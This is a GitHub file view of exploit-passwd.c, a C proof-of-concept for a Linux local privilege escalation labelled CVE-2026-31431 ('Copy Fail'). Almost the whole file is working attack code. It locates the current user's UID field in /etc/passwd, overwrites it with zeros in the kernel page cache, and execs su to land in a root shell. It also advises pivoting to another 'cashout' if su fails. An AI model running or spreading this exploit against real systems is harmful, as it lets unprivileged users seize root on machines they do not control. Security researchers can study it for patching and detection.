-
Notifications
You must be signed in to change notification settings - Fork 120
Expand file tree
/
Copy pathexploit-passwd.c
More file actions
159 lines (133 loc) · 5.51 KB
/
Copy pathexploit-passwd.c
File metadata and controls
159 lines (133 loc) · 5.51 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
/* SPDX-License-Identifier: LGPL-2.1-or-later OR MIT */
/*
* Copy Fail -- CVE-2026-31431 -- /etc/passwd UID-flip variant.
*
* Mutates /etc/passwd's page cache to set the running user's UID field
* to "0000", then execs `su <user>`. PAM authenticates against
* /etc/shadow (untouched) using the user's real password; on success,
* su's setuid() reads the corrupted /etc/passwd from the page cache and
* lands in a root shell.
*
* Compared to exploit.c (the binary-mutation variant), this works on
* any system where /etc/passwd is world-readable (every standard Linux
* system) including environments that harden setuid binaries against
* unprivileged read access.
*
*/
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <pwd.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "utils.h"
/* Find the byte offset of the UID field for `username` in /etc/passwd.
* Returns -1 on error or if the user is not found. */
static off_t find_uid_offset(const char *username) {
int fd = open("/etc/passwd", O_RDONLY);
if (fd < 0) { perror("open(/etc/passwd)"); return -1; }
char buf[65536];
ssize_t n = read(fd, buf, sizeof buf - 1);
close(fd);
if (n <= 0) { perror("read(/etc/passwd)"); return -1; }
buf[n] = '\0';
size_t namelen = strlen(username);
char *line = buf;
while (line < buf + n) {
char *eol = memchr(line, '\n', (buf + n) - line);
size_t linelen = eol ? (size_t)(eol - line) : (size_t)((buf + n) - line);
if (linelen > namelen + 1 &&
memcmp(line, username, namelen) == 0 &&
line[namelen] == ':') {
/* line: name:x:UID:GID:gecos:home:shell */
char *colon1 = memchr(line, ':', linelen);
if (!colon1) break;
char *colon2 = memchr(colon1 + 1, ':', linelen - (size_t)(colon1 + 1 - line));
if (!colon2) break;
return (off_t)((colon2 + 1) - buf);
}
if (!eol) break;
line = eol + 1;
}
fprintf(stderr, "[-] could not find user %s in /etc/passwd\n", username);
return -1;
}
int main(void) {
uid_t uid = getuid();
struct passwd *pw = getpwuid(uid);
if (!pw) { perror("getpwuid"); return 1; }
fprintf(stderr, "[+] user: %s (uid=%u)\n", pw->pw_name, uid);
off_t uid_offset = find_uid_offset(pw->pw_name);
if (uid_offset < 0) return 1;
fprintf(stderr, "[+] /etc/passwd UID field at offset %lld\n",
(long long)uid_offset);
int fd = open("/etc/passwd", O_RDONLY);
if (fd < 0) { perror("open(/etc/passwd)"); return 1; }
/* Read up to 10 digits starting at uid_offset to find the field length. */
char fieldbuf[12] = { 0 };
ssize_t nr = pread(fd, fieldbuf, sizeof fieldbuf - 1, uid_offset);
if (nr < 1) { perror("pread"); close(fd); return 1; }
/* Find length of the existing UID field (up to next ':') */
int old_uid_len = 0;
while (old_uid_len < nr && fieldbuf[old_uid_len] != ':')
old_uid_len++;
if (old_uid_len == 0 || old_uid_len > 10) {
fprintf(stderr, "[-] could not determine UID field length\n");
close(fd); return 1;
}
/* Left-pad old_uid_len.
* /etc/passwd allows leading zeros so 0000 is uid 0. */
char padded[11];
memset(padded, '0', old_uid_len);
padded[old_uid_len] = '\0';
fprintf(stderr, "[+] old field: \"%.*s\" (%d bytes), new field: \"%s\" (%d bytes)\n",
old_uid_len, fieldbuf, old_uid_len, padded, old_uid_len);
/* New sanity check: verify the existing field matches getuid() to avoid corrupting /etc/passwd */
char expected[11];
snprintf(expected, sizeof expected, "%u", uid);
int expected_len = (int)strlen(expected);
if (old_uid_len < expected_len ||
memcmp(fieldbuf + old_uid_len - expected_len, expected, expected_len) != 0) {
fprintf(stderr,
"[-] sanity check failed: field \"%.*s\" doesn't end with "
"expected uid \"%s\"\n",
old_uid_len, fieldbuf, expected);
close(fd); return 1;
}
fprintf(stderr, "[+] sanity check ok\n");
/* Patch in 4-byte chunks. Read-modify-write for the final chunk if partial */
for (int off = 0; off < old_uid_len; off += 4) {
unsigned char chunk[4];
int n = old_uid_len - off < 4 ? old_uid_len - off : 4;
if (n < 4 && pread(fd, chunk, 4, uid_offset + off) != 4) {
perror("pread on final chunk");
close(fd); return 1;
}
memcpy(chunk, padded + off, n);
if (patch_chunk(fd, uid_offset + off, chunk) < 0) {
explain_patch_failure(errno);
fprintf(stderr, "[-] page-cache mutation failed at offset %lld\n",
(long long)(uid_offset + off));
close(fd); return 1;
}
}
close(fd);
fprintf(stderr,
"[+] /etc/passwd page cache mutated; %s's UID is now %s\n",
pw->pw_name, padded);
fprintf(stderr,
"[+] attempting cashout via `su %s`\n", pw->pw_name);
fprintf(stderr,
"[!] If su fails with \"Cannot determine your user name\"\n"
" (shadow-utils' caller-identity check), the page cache\n"
" mutation is still active. Pivot to another cashout\n"
" that consults /etc/passwd.\n");
fprintf(stderr,
"[+] cleanup after testing (run as root):\n"
" echo 3 > /proc/sys/vm/drop_caches\n\n");
execlp("su", "su", pw->pw_name, (char *)NULL);
perror("execlp(su)");
return 1;
}